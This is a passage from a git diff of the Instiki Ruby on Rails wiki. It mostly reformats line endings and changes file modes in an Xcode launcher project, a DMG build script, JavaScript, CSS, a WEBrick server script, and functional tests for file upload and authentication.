8D11072E0486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072F0486CEB800E47090, + ); + isa = PBXFrameworksBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072F0486CEB800E47090 = { + fileRef = 1058C7A1FEA54F0111CA2CBB; + isa = PBXBuildFile; + settings = { + }; + }; + 8D1107310486CEB800E47090 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.plist; + path = Info.plist; + refType = 4; + sourceTree = ""; + }; + 8D1107320486CEB800E47090 = { + explicitFileType = wrapper.application; + includeInIndex = 0; + isa = PBXFileReference; + path = Instiki.app; + refType = 3; + sourceTree = BUILT_PRODUCTS_DIR; + }; + }; + rootObject = 29B97313FDCFA39411CA2CEA; +} diff --git a/natives/osx/desktop_launcher/Instiki_Prefix.pch b/natives/osx/desktop_launcher/Instiki_Prefix.pch old mode 100755 new mode 100644 index 93c4f875..4212f5ef --- a/natives/osx/desktop_launcher/Instiki_Prefix.pch +++ b/natives/osx/desktop_launcher/Instiki_Prefix.pch @@ -1,7 +1,7 @@ -// -// Prefix header for all source files of the 'Instiki' target in the 'Instiki' project -// - -#ifdef __OBJC__ - #import -#endif +// +// Prefix header for all source files of the 'Instiki' target in the 'Instiki' project +// + +#ifdef __OBJC__ + #import +#endif diff --git a/natives/osx/desktop_launcher/MakeDMG.sh b/natives/osx/desktop_launcher/MakeDMG.sh old mode 100755 new mode 100644 index 2050cdce..d1cddeb1 --- a/natives/osx/desktop_launcher/MakeDMG.sh +++ b/natives/osx/desktop_launcher/MakeDMG.sh @@ -1,9 +1,9 @@ -#!/bin/sh - -hdiutil create -size 12m -fs HFS+ -volname Instiki -ov /tmp/Instiki_12MB.dmg -hdiutil mount /tmp/Instiki_12MB.dmg -# strip ~/ruby/instiki/natives/osx/build/Instiki.app/Contents/MacOS/Instiki -ditto ~/ruby/instiki/natives/osx/desktop_launcher/build/Instiki.app /Volumes/Instiki/Instiki.app -hdiutil unmount /Volumes/Instiki -hdiutil convert -format UDZO -o /tmp/Instiki.dmg /tmp/Instiki_12MB.dmg -hdiutil internet-enable -yes /tmp/Instiki.dmg +#!/bin/sh + +hdiutil create -size 12m -fs HFS+ -volname Instiki -ov /tmp/Instiki_12MB.dmg +hdiutil mount /tmp/Instiki_12MB.dmg +# strip ~/ruby/instiki/natives/osx/build/Instiki.app/Contents/MacOS/Instiki +ditto ~/ruby/instiki/natives/osx/desktop_launcher/build/Instiki.app /Volumes/Instiki/Instiki.app +hdiutil unmount /Volumes/Instiki +hdiutil convert -format UDZO -o /tmp/Instiki.dmg /tmp/Instiki_12MB.dmg +hdiutil internet-enable -yes /tmp/Instiki.dmg diff --git a/natives/osx/desktop_launcher/main.mm b/natives/osx/desktop_launcher/main.mm old mode 100755 new mode 100644 index 586ba12c..0eb41cfe --- a/natives/osx/desktop_launcher/main.mm +++ b/natives/osx/desktop_launcher/main.mm @@ -1,14 +1,14 @@ -// -// main.mm -// Instiki -// -// Created by Allan Odgaard on Thu May 20 2004. -// Copyright (c) 2004 MacroMates. All rights reserved. -// - -#import - -int main (int argc, char const* argv[]) -{ - return NSApplicationMain(argc, argv); -} +// +// main.mm +// Instiki +// +// Created by Allan Odgaard on Thu May 20 2004. +// Copyright (c) 2004 MacroMates. All rights reserved. +// + +#import + +int main (int argc, char const* argv[]) +{ + return NSApplicationMain(argc, argv); +} diff --git a/natives/osx/desktop_launcher/version.plist b/natives/osx/desktop_launcher/version.plist old mode 100755 new mode 100644 index 5b7d8625..a2932018 --- a/natives/osx/desktop_launcher/version.plist +++ b/natives/osx/desktop_launcher/version.plist @@ -1,16 +1,16 @@ - - - - - BuildVersion - 17 - CFBundleShortVersionString - 0.1 - CFBundleVersion - 0.1 - ProjectName - NibPBTemplates - SourceVersion - 1150000 - - + + + + + BuildVersion + 17 + CFBundleShortVersionString + 0.1 + CFBundleVersion + 0.1 + ProjectName + NibPBTemplates + SourceVersion + 1150000 + + diff --git a/public/images/.images_go_here b/public/images/.images_go_here old mode 100755 new mode 100644 diff --git a/public/javascripts/edit_web.js b/public/javascripts/edit_web.js index d9dbe7a9..a81abf59 100644 --- a/public/javascripts/edit_web.js +++ b/public/javascripts/edit_web.js @@ -1,48 +1,48 @@ -function proposeAddress() { - document.getElementById('address').value = - document.getElementById('name').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); -} - -function cleanAddress() { - document.getElementById('address').value = - document.getElementById('address').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); -} - -function validateSetup() { - if (document.getElementById('system_password').value == "") { - alert("You must enter the system password"); - return false; - } - - if (document.getElementById('name').value == "") { - alert("You must pick a name for the web"); - return false; - } - - if (document.getElementById('address').value == "") { - alert("You must pick an address for the web"); - return false; - } - - if (document.getElementById('password').value != "" && - document.getElementById('password').value != document.getElementById('password_check').value) { - alert("The password and its verification doesn't match"); - return false; - } - - return true; -} - -// overriding auto-complete by form managers -// code by Chris Holland, lifted from -// http://chrisholland.blogspot.com/2004/11/banks-protect-privacy-disable.html -function overrideAutocomplete() { - if (document.getElementsByTagName) { - var inputElements = document.getElementsByTagName("input"); - for (i=0; inputElements[i]; i++) { - if (inputElements[i].className && (inputElements[i].className.indexOf("disableAutoComplete") != -1)) { - inputElements[i].setAttribute("autocomplete","off"); - }//if current input element has the disableAutoComplete class set. - }//loop thru input elements - } -} +function proposeAddress() { + document.getElementById('address').value = + document.getElementById('name').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); +} + +function cleanAddress() { + document.getElementById('address').value = + document.getElementById('address').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); +} + +function validateSetup() { + if (document.getElementById('system_password').value == "") { + alert("You must enter the system password"); + return false; + } + + if (document.getElementById('name').value == "") { + alert("You must pick a name for the web"); + return false; + } + + if (document.getElementById('address').value == "") { + alert("You must pick an address for the web"); + return false; + } + + if (document.getElementById('password').value != "" && + document.getElementById('password').value != document.getElementById('password_check').value) { + alert("The password and its verification doesn't match"); + return false; + } + + return true; +} + +// overriding auto-complete by form managers +// code by Chris Holland, lifted from +// http://chrisholland.blogspot.com/2004/11/banks-protect-privacy-disable.html +function overrideAutocomplete() { + if (document.getElementsByTagName) { + var inputElements = document.getElementsByTagName("input"); + for (i=0; inputElements[i]; i++) { + if (inputElements[i].className && (inputElements[i].className.indexOf("disableAutoComplete") != -1)) { + inputElements[i].setAttribute("autocomplete","off"); + }//if current input element has the disableAutoComplete class set. + }//loop thru input elements + } +} diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css old mode 100755 new mode 100644 index f366a851..898330e3 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -1,222 +1,222 @@ -#Container { - float: none; - margin: 0 auto; - text-align: center; -} - -#Content { - margin: 0; - padding: 5px; - text-align: left; - border-top: none; - float: left; -} - -body { background-color: #fff; color: #333; } - -body, p, ol, ul, td { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 13px; - line-height: 18px; -} - -a { color: #000; } - -.newWikiWord { background-color: #eee; } -.newWikiWord a:hover { background-color: white; } - -a:visited { color: #666; } -a:hover { color: #fff; background-color:#000; } - -h1, h2, h3 { color: #333; font-family: georgia, verdana; } -h1 { font-size: 28px } -h2 { font-size: 19px } -h3 { font-size: 16px } - -h1#pageName { - margin: 5px 0px 0px 0px; - padding: 0px 0px 0px 0px; - line-height: 28px; -} - -h1#pageName small { - color: grey; - line-height: 10px; - font-size: 10px; - padding: 0px; -} - -a.nav, a.nav:link, a.nav:visited { color: #000; } -a.nav:hover { color: #fff; background-color:#000; } - -li { margin-bottom: 7px } - -.navigation { - margin-top: 5px; - font-size : 12px; - color: #999; -} - -.navigation a:hover { color: #fff; background-color:#000; } - -.navigation a { - font-size: 11px; - color: black; - font-weight: bold; -} - -.navigation small a { - font-weight: normal; - font-size: 11px; -} - -.navOn{ - font-size: 11px; - color: grey; - font-weight: bold; - text-decoration: none; -} - -.help { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 11px; -} - -.inputBox { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 11px; - background-color: #eee; - padding: 5px; - margin-bottom: 20px; -} - -blockquote { - display: block; - margin: 0px 0px 20px 0px; - padding: 0px 30px; - font-size:11px; - line-height:17px; - font-style: italic; -} - -pre { - background-color: #eee; - padding: 10px; - font-size: 11px; -} - -ol.setup { - font-size: 19px; - font-family: georgia, verdana; - padding-left: 25px; -} - -ol.setup li { - margin-bottom: 20px -} - -.byline { - font-size: 10px; - font-style: italic; - margin-bottom: 10px; - color: #999; -} - -.references { - font-size: 10px; -} - -.diffdel, del.diffmod { - background: pink; -} - -.diffins, ins.diffmod { - background: lightgreen; -} - -#footer { - height: 14px; - padding: .25em 0; -} - -#footer p { - font-size: 10px; - color: gray; - font-style: italic; - margin: 0; - float: right; - text-align: right; -} - -#error { - color: darkred; - font-style: italic; - width: 450px; -} - -#info { - color: darkgreen; - font-style: italic; - width: 450px; -} - -#TextileHelp table { - margin-bottom: 0; -} - -#TextileHelp table+h3 { - margin-top: 11px; -} - -#TextileHelp table td { - font-size: 11px; - padding: 3px; - vertical-align: top; - border-top: 1px dotted #ccc; -} - -#TextileHelp table td.arrow { - padding-right: 5px; - padding-left: 10px; - color: #999; -} - -#TextileHelp table td.label { - font-weight: bold; - white-space: nowrap; - font-size: 10px; - padding-right: 15px; - color: #000; -} - -#TextileHelp h3 { - font-size: 11px; - font-weight: bold; - font-weight: normal; - margin: 0 0 5px 0; - padding: 5px 0 0 0; -} - -#TextileHelp p { - font-size: 10px; -} - -.rightHandSide { - float: right; - width: 147px; - margin-left: 10px; - padding-left: 20px; - border-left: 1px dotted #ccc; -} - -.rightHandSide p { - font-size: 10px; -} - -.newsList { - margin-top: 20px; -} - -.newsList p { - margin-bottom:30px +#Container { + float: none; + margin: 0 auto; + text-align: center; +} + +#Content { + margin: 0; + padding: 5px; + text-align: left; + border-top: none; + float: left; +} + +body { background-color: #fff; color: #333; } + +body, p, ol, ul, td { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; +} + +a { color: #000; } + +.newWikiWord { background-color: #eee; } +.newWikiWord a:hover { background-color: white; } + +a:visited { color: #666; } +a:hover { color: #fff; background-color:#000; } + +h1, h2, h3 { color: #333; font-family: georgia, verdana; } +h1 { font-size: 28px } +h2 { font-size: 19px } +h3 { font-size: 16px } + +h1#pageName { + margin: 5px 0px 0px 0px; + padding: 0px 0px 0px 0px; + line-height: 28px; +} + +h1#pageName small { + color: grey; + line-height: 10px; + font-size: 10px; + padding: 0px; +} + +a.nav, a.nav:link, a.nav:visited { color: #000; } +a.nav:hover { color: #fff; background-color:#000; } + +li { margin-bottom: 7px } + +.navigation { + margin-top: 5px; + font-size : 12px; + color: #999; +} + +.navigation a:hover { color: #fff; background-color:#000; } + +.navigation a { + font-size: 11px; + color: black; + font-weight: bold; +} + +.navigation small a { + font-weight: normal; + font-size: 11px; +} + +.navOn{ + font-size: 11px; + color: grey; + font-weight: bold; + text-decoration: none; +} + +.help { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; +} + +.inputBox { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 11px; + background-color: #eee; + padding: 5px; + margin-bottom: 20px; +} + +blockquote { + display: block; + margin: 0px 0px 20px 0px; + padding: 0px 30px; + font-size:11px; + line-height:17px; + font-style: italic; +} + +pre { + background-color: #eee; + padding: 10px; + font-size: 11px; +} + +ol.setup { + font-size: 19px; + font-family: georgia, verdana; + padding-left: 25px; +} + +ol.setup li { + margin-bottom: 20px +} + +.byline { + font-size: 10px; + font-style: italic; + margin-bottom: 10px; + color: #999; +} + +.references { + font-size: 10px; +} + +.diffdel, del.diffmod { + background: pink; +} + +.diffins, ins.diffmod { + background: lightgreen; +} + +#footer { + height: 14px; + padding: .25em 0; +} + +#footer p { + font-size: 10px; + color: gray; + font-style: italic; + margin: 0; + float: right; + text-align: right; +} + +#error { + color: darkred; + font-style: italic; + width: 450px; +} + +#info { + color: darkgreen; + font-style: italic; + width: 450px; +} + +#TextileHelp table { + margin-bottom: 0; +} + +#TextileHelp table+h3 { + margin-top: 11px; +} + +#TextileHelp table td { + font-size: 11px; + padding: 3px; + vertical-align: top; + border-top: 1px dotted #ccc; +} + +#TextileHelp table td.arrow { + padding-right: 5px; + padding-left: 10px; + color: #999; +} + +#TextileHelp table td.label { + font-weight: bold; + white-space: nowrap; + font-size: 10px; + padding-right: 15px; + color: #000; +} + +#TextileHelp h3 { + font-size: 11px; + font-weight: bold; + font-weight: normal; + margin: 0 0 5px 0; + padding: 5px 0 0 0; +} + +#TextileHelp p { + font-size: 10px; +} + +.rightHandSide { + float: right; + width: 147px; + margin-left: 10px; + padding-left: 20px; + border-left: 1px dotted #ccc; +} + +.rightHandSide p { + font-size: 10px; +} + +.newsList { + margin-top: 20px; +} + +.newsList p { + margin-bottom:30px } \ No newline at end of file diff --git a/script/server b/script/server index 9667730e..a812b42f 100755 --- a/script/server +++ b/script/server @@ -1,83 +1,83 @@ -#!/usr/bin/ruby - -require 'webrick' -require 'optparse' -require 'fileutils' - -pwd = File.expand_path(File.dirname(__FILE__) + "/..") - -OPTIONS = { - - # Overridable options - :port => 2500, - :ip => '127.0.0.1', - :environment => 'production', - :server_root => File.expand_path(File.dirname(__FILE__) + '/../public/'), - :server_type => WEBrick::SimpleServer, - :storage => "#{File.expand_path(FileUtils.pwd)}/storage", -} - -ARGV.options do |opts| - script_name = File.basename($0) - opts.banner = "Usage: ruby #{script_name} [options]" - - opts.separator '' - - opts.on('-p', '--port=port', Integer, - 'Runs Instiki on the specified port.', - 'Default: 2500') { |OPTIONS[:port]| } - opts.on('-b', '--binding=ip', String, - 'Binds Rails to the specified ip.', - 'Default: 127.0.0.1') { |OPTIONS[:ip]| } - opts.on('-i', '--index=controller', String, - 'Specifies an index controller that requests for root will go to (instead of congratulations screen).' - ) { |OPTIONS[:index_controller]| } - opts.on('-e', '--environment=name', String, - 'Specifies the environment to run this server under (test/development/production).', - 'Default: production') { |OPTIONS[:environment]| } - opts.on('-d', '--daemon', - 'Make Rails run as a Daemon (only works if fork is available -- meaning on *nix).' - ) { OPTIONS[:server_type] = WEBrick::Daemon } - opts.on('-s', '--simple', '--simple-server', - '[deprecated] Forces Instiki not to run as a Daemon if fork is available.', - 'Since version 0.10.0 this option is ignored.' - ) { puts "Warning: -s (--simple) option is deprecated. See instiki --help for details." } - opts.on('-t', '--storage=storage', String, - 'Makes Instiki use the specified directory for storage.', - 'Default: ./storage/[port]') { |OPTIONS[:storage]| } - opts.on('-v', '--verbose', - 'Enable debug-level logging' - ) { OPTIONS[:verbose] = true } - - opts.separator '' - - opts.on('-h', '--help', - 'Show this help message.') { puts opts; exit } - - opts.parse! -end - -ENV['RAILS_ENV'] = OPTIONS[:environment] -require File.expand_path(File.dirname(__FILE__) + '/../config/environment') - -if OPTIONS[:verbose] - ActionController::Base.logger.level = Logger::DEBUG -end - -OPTIONS[:index_controller] = 'wiki' -require 'webrick_server' - -if OPTIONS[:environment] == 'production' - storage_path = OPTIONS[:storage] + "/" + OPTIONS[:port].to_s -else - storage_path = OPTIONS[:storage] + "/" + OPTIONS[:environment] + "/" + OPTIONS[:port].to_s -end -FileUtils.mkdir_p(storage_path) - -puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" -puts "=> Data files are stored in #{storage_path}" - -require 'application' -WikiService.storage_path = storage_path -ApplicationController.wiki = WikiService.instance -DispatchServlet.dispatch(OPTIONS) +#!/usr/bin/ruby + +require 'webrick' +require 'optparse' +require 'fileutils' + +pwd = File.expand_path(File.dirname(__FILE__) + "/..") + +OPTIONS = { + + # Overridable options + :port => 2500, + :ip => '127.0.0.1', + :environment => 'production', + :server_root => File.expand_path(File.dirname(__FILE__) + '/../public/'), + :server_type => WEBrick::SimpleServer, + :storage => "#{File.expand_path(FileUtils.pwd)}/storage", +} + +ARGV.options do |opts| + script_name = File.basename($0) + opts.banner = "Usage: ruby #{script_name} [options]" + + opts.separator '' + + opts.on('-p', '--port=port', Integer, + 'Runs Instiki on the specified port.', + 'Default: 2500') { |OPTIONS[:port]| } + opts.on('-b', '--binding=ip', String, + 'Binds Rails to the specified ip.', + 'Default: 127.0.0.1') { |OPTIONS[:ip]| } + opts.on('-i', '--index=controller', String, + 'Specifies an index controller that requests for root will go to (instead of congratulations screen).' + ) { |OPTIONS[:index_controller]| } + opts.on('-e', '--environment=name', String, + 'Specifies the environment to run this server under (test/development/production).', + 'Default: production') { |OPTIONS[:environment]| } + opts.on('-d', '--daemon', + 'Make Rails run as a Daemon (only works if fork is available -- meaning on *nix).' + ) { OPTIONS[:server_type] = WEBrick::Daemon } + opts.on('-s', '--simple', '--simple-server', + '[deprecated] Forces Instiki not to run as a Daemon if fork is available.', + 'Since version 0.10.0 this option is ignored.' + ) { puts "Warning: -s (--simple) option is deprecated. See instiki --help for details." } + opts.on('-t', '--storage=storage', String, + 'Makes Instiki use the specified directory for storage.', + 'Default: ./storage/[port]') { |OPTIONS[:storage]| } + opts.on('-v', '--verbose', + 'Enable debug-level logging' + ) { OPTIONS[:verbose] = true } + + opts.separator '' + + opts.on('-h', '--help', + 'Show this help message.') { puts opts; exit } + + opts.parse! +end + +ENV['RAILS_ENV'] = OPTIONS[:environment] +require File.expand_path(File.dirname(__FILE__) + '/../config/environment') + +if OPTIONS[:verbose] + ActionController::Base.logger.level = Logger::DEBUG +end + +OPTIONS[:index_controller] = 'wiki' +require 'webrick_server' + +if OPTIONS[:environment] == 'production' + storage_path = OPTIONS[:storage] + "/" + OPTIONS[:port].to_s +else + storage_path = OPTIONS[:storage] + "/" + OPTIONS[:environment] + "/" + OPTIONS[:port].to_s +end +FileUtils.mkdir_p(storage_path) + +puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" +puts "=> Data files are stored in #{storage_path}" + +require 'application' +WikiService.storage_path = storage_path +ApplicationController.wiki = WikiService.instance +DispatchServlet.dispatch(OPTIONS) diff --git a/test/all_tests.rb b/test/all_tests.rb old mode 100644 new mode 100755 index df32ea72..0a0f5126 --- a/test/all_tests.rb +++ b/test/all_tests.rb @@ -1,9 +1,9 @@ -require 'test_helper' -require 'find' - -test_root = File.dirname(__FILE__) -Find.find(test_root) { |path| - if File.file?(path) and path =~ /.*_test\.rb$/ - require path[(test_root.size + 1)..-4] - end -} +require 'test_helper' +require 'find' + +test_root = File.dirname(__FILE__) +Find.find(test_root) { |path| + if File.file?(path) and path =~ /.*_test\.rb$/ + require path[(test_root.size + 1)..-4] + end +} diff --git a/test/fixtures/rails.gif b/test/fixtures/rails.gif old mode 100644 new mode 100755 diff --git a/test/functional/application_test.rb b/test/functional/application_test.rb old mode 100644 new mode 100755 index 84767958..5e74cd2e --- a/test/functional/application_test.rb +++ b/test/functional/application_test.rb @@ -1,26 +1,26 @@ -# Unit tests for ApplicationController (the abstract controller class) - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_controller' -require 'rexml/document' - -# Need some concrete class to test the abstract class features -class WikiController; def rescue_action(e) logger.error(e); raise e end; end - -class ApplicationTest < Test::Unit::TestCase - - def setup - setup_test_wiki - setup_controller_test(WikiController) - end - - def tear_down - tear_down_wiki - end - - def test_utf8_header - r = process('show', 'web' => 'wiki1', 'id' => 'HomePage') - assert_equal 'text/html; charset=UTF-8', r.headers['Content-Type'] - end - -end +# Unit tests for ApplicationController (the abstract controller class) + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_controller' +require 'rexml/document' + +# Need some concrete class to test the abstract class features +class WikiController; def rescue_action(e) logger.error(e); raise e end; end + +class ApplicationTest < Test::Unit::TestCase + + def setup + setup_test_wiki + setup_controller_test(WikiController) + end + + def tear_down + tear_down_wiki + end + + def test_utf8_header + r = process('show', 'web' => 'wiki1', 'id' => 'HomePage') + assert_equal 'text/html; charset=UTF-8', r.headers['Content-Type'] + end + +end diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb old mode 100644 new mode 100755 index 0943aa53..32f0ca8f --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -1,127 +1,127 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'file_controller' -require 'fileutils' - -# Raise errors beyond the default web-based presentation -class FileController; def rescue_action(e) logger.error(e); raise e end; end - -class FileControllerTest < Test::Unit::TestCase - - FILE_AREA = RAILS_ROOT + '/storage/test/wiki1' - FileUtils.mkdir_p(FILE_AREA) unless File.directory?(FILE_AREA) - FileUtils.rm(Dir["#{FILE_AREA}/*"]) - - def setup - setup_test_wiki - setup_controller_test - end - - def tear_down - tear_down_wiki - end - - def test_file - process 'file', 'web' => 'wiki1', 'id' => 'foo.tgz' - - assert_success - assert_rendered_file 'file/file' - end - - def test_file_download_text_file - File.open("#{FILE_AREA}/foo.txt", 'wb') { |f| f.write "aaa\nbbb\n" } - - r = process 'file', 'web' => 'wiki1', 'id' => 'foo.txt' - - assert_success - assert_equal "aaa\nbbb\n", r.binary_content - assert_equal 'text/plain', r.headers['Content-Type'] - end - - def test_file_download_pdf_file - File.open("#{FILE_AREA}/foo.pdf", 'wb') { |f| f.write "aaa\nbbb\n" } - - r = process 'file', 'web' => 'wiki1', 'id' => 'foo.pdf' - - assert_success - assert_equal "aaa\nbbb\n", r.binary_content - assert_equal 'application/pdf', r.headers['Content-Type'] - end - - def test_pic_download_gif - FileUtils.cp("#{RAILS_ROOT}/test/fixtures/rails.gif", FILE_AREA) - - r = process 'pic', 'web' => 'wiki1', 'id' => 'rails.gif' - - assert_success - assert_equal File.size("#{FILE_AREA}/rails.gif"), r.binary_content.size - end - - def test_pic_unknown_pic - r = process 'pic', 'web' => 'wiki1', 'id' => 'non-existant.gif' - - assert_success - assert_rendered_file 'file/file' - end - - def test_pic_upload_end_to_end - # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' - @wiki.revise_page('wiki1', 'HomePage', '[[rails-e2e.gif:pic]]', Time.now, 'AnonymousBrave') - assert_equal "

            rails-e2e.gif" + - "?

            ", - @home.display_content - - # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form - r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif' - assert_success - assert_rendered_file 'file/file' - - # User uploads the picture - picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif") - r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif', 'file' => StringIO.new(picture) - assert_redirect_url '/' - assert @wiki.file_yard(@web).has_file?('rails-e2e.gif') - assert_equal(picture, File.read("#{RAILS_ROOT}/storage/test/wiki1/rails-e2e.gif")) - - # this should refresh the page display content (cached) - assert_equal "

            \"rails-e2e.gif\"

            ", - @home.display_content - end - - def test_pic_upload_end_to_end - # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' - @wiki.revise_page('wiki1', 'HomePage', '[[instiki-e2e.txt:file]]', Time.now, 'AnonymousBrave') - assert_equal "

            instiki-e2e.txt" + - "?

            ", - @home.display_content - - # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form - r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt' - assert_success - assert_rendered_file 'file/file' - - # User uploads the picture - file = "abcdefgh\n123" - r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt', 'file' => StringIO.new(file) - assert_redirect_url '/' - assert @wiki.file_yard(@web).has_file?('instiki-e2e.txt') - assert_equal(file, File.read("#{RAILS_ROOT}/storage/test/wiki1/instiki-e2e.txt")) - - # this should refresh the page display content (cached) - assert_equal "

            " + - "instiki-e2e.txt

            ", - @home.display_content - end - - def test_uploads_blocking - @web.allow_uploads = true - r = process 'file', 'web' => 'wiki1', 'id' => 'filename' - assert_success - - @web.allow_uploads = false - r = process 'file', 'web' => 'wiki1', 'id' => 'filename' - assert_equal '403 Forbidden', r.headers['Status'] - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'file_controller' +require 'fileutils' + +# Raise errors beyond the default web-based presentation +class FileController; def rescue_action(e) logger.error(e); raise e end; end + +class FileControllerTest < Test::Unit::TestCase + + FILE_AREA = RAILS_ROOT + '/storage/test/wiki1' + FileUtils.mkdir_p(FILE_AREA) unless File.directory?(FILE_AREA) + FileUtils.rm(Dir["#{FILE_AREA}/*"]) + + def setup + setup_test_wiki + setup_controller_test + end + + def tear_down + tear_down_wiki + end + + def test_file + process 'file', 'web' => 'wiki1', 'id' => 'foo.tgz' + + assert_success + assert_rendered_file 'file/file' + end + + def test_file_download_text_file + File.open("#{FILE_AREA}/foo.txt", 'wb') { |f| f.write "aaa\nbbb\n" } + + r = process 'file', 'web' => 'wiki1', 'id' => 'foo.txt' + + assert_success + assert_equal "aaa\nbbb\n", r.binary_content + assert_equal 'text/plain', r.headers['Content-Type'] + end + + def test_file_download_pdf_file + File.open("#{FILE_AREA}/foo.pdf", 'wb') { |f| f.write "aaa\nbbb\n" } + + r = process 'file', 'web' => 'wiki1', 'id' => 'foo.pdf' + + assert_success + assert_equal "aaa\nbbb\n", r.binary_content + assert_equal 'application/pdf', r.headers['Content-Type'] + end + + def test_pic_download_gif + FileUtils.cp("#{RAILS_ROOT}/test/fixtures/rails.gif", FILE_AREA) + + r = process 'pic', 'web' => 'wiki1', 'id' => 'rails.gif' + + assert_success + assert_equal File.size("#{FILE_AREA}/rails.gif"), r.binary_content.size + end + + def test_pic_unknown_pic + r = process 'pic', 'web' => 'wiki1', 'id' => 'non-existant.gif' + + assert_success + assert_rendered_file 'file/file' + end + + def test_pic_upload_end_to_end + # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' + @wiki.revise_page('wiki1', 'HomePage', '[[rails-e2e.gif:pic]]', Time.now, 'AnonymousBrave') + assert_equal "

            rails-e2e.gif" + + "?

            ", + @home.display_content + + # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form + r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif' + assert_success + assert_rendered_file 'file/file' + + # User uploads the picture + picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif") + r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif', 'file' => StringIO.new(picture) + assert_redirect_url '/' + assert @wiki.file_yard(@web).has_file?('rails-e2e.gif') + assert_equal(picture, File.read("#{RAILS_ROOT}/storage/test/wiki1/rails-e2e.gif")) + + # this should refresh the page display content (cached) + assert_equal "

            \"rails-e2e.gif\"

            ", + @home.display_content + end + + def test_pic_upload_end_to_end + # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' + @wiki.revise_page('wiki1', 'HomePage', '[[instiki-e2e.txt:file]]', Time.now, 'AnonymousBrave') + assert_equal "

            instiki-e2e.txt" + + "?

            ", + @home.display_content + + # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form + r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt' + assert_success + assert_rendered_file 'file/file' + + # User uploads the picture + file = "abcdefgh\n123" + r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt', 'file' => StringIO.new(file) + assert_redirect_url '/' + assert @wiki.file_yard(@web).has_file?('instiki-e2e.txt') + assert_equal(file, File.read("#{RAILS_ROOT}/storage/test/wiki1/instiki-e2e.txt")) + + # this should refresh the page display content (cached) + assert_equal "

            " + + "instiki-e2e.txt

            ", + @home.display_content + end + + def test_uploads_blocking + @web.allow_uploads = true + r = process 'file', 'web' => 'wiki1', 'id' => 'filename' + assert_success + + @web.allow_uploads = false + r = process 'file', 'web' => 'wiki1', 'id' => 'filename' + assert_equal '403 Forbidden', r.headers['Status'] + end + +end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index de245b3f..915a72a7 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -1,682 +1,682 @@ -#!/bin/env ruby -w - -# Uncomment the line below to enable pdflatex tests; don't forget to comment them again -# commiting to SVN -$INSTIKI_TEST_PDFLATEX = true - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_controller' -require 'rexml/document' - -# Raise errors beyond the default web-based presentation -class WikiController; def rescue_action(e) logger.error(e); raise e end; end - -class WikiControllerTest < Test::Unit::TestCase - - def setup - setup_test_wiki - setup_controller_test - end - - def tear_down - tear_down_wiki - end - - - def test_authenticate - @web.password = 'pswd' - - r = process('authenticate', 'web' => 'wiki1', 'password' => 'pswd') - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['pswd'], r.cookies['web_address'] - end - - def test_authenticate - @web.password = 'pswd' - - r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password') - assert_redirected_to :action => 'login' - assert_nil r.cookies['web_address'] - end - - - def test_authors - setup_wiki_with_three_pages - @wiki.write_page('wiki1', 'BreakSortingOrder', - "This page breaks the accidentally correct sorting order of authors", - Time.now, Author.new('BreakingTheOrder', '127.0.0.2')) - - r = process('authors', 'web' => 'wiki1') - - assert_success - assert_equal ['AnAuthor', 'BreakingTheOrder', 'Guest', 'TreeHugger'], - r.template_objects['authors'] - end - - - def test_cancel_edit - setup_wiki_with_three_pages - @oak.lock(Time.now, 'Locky') - assert @oak.locked?(Time.now) - - r = process('cancel_edit', 'web' => 'wiki1', 'id' => 'Oak') - - assert_redirected_to :action => 'show', :id => 'Oak' - assert !@oak.locked?(Time.now) - end - - - def test_create_system - ApplicationController.wiki = WikiServiceWithNoPersistence.new - assert !@controller.wiki.setup? - - process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', - 'web_address' => 'my_wiki') - - assert_redirected_to :web => 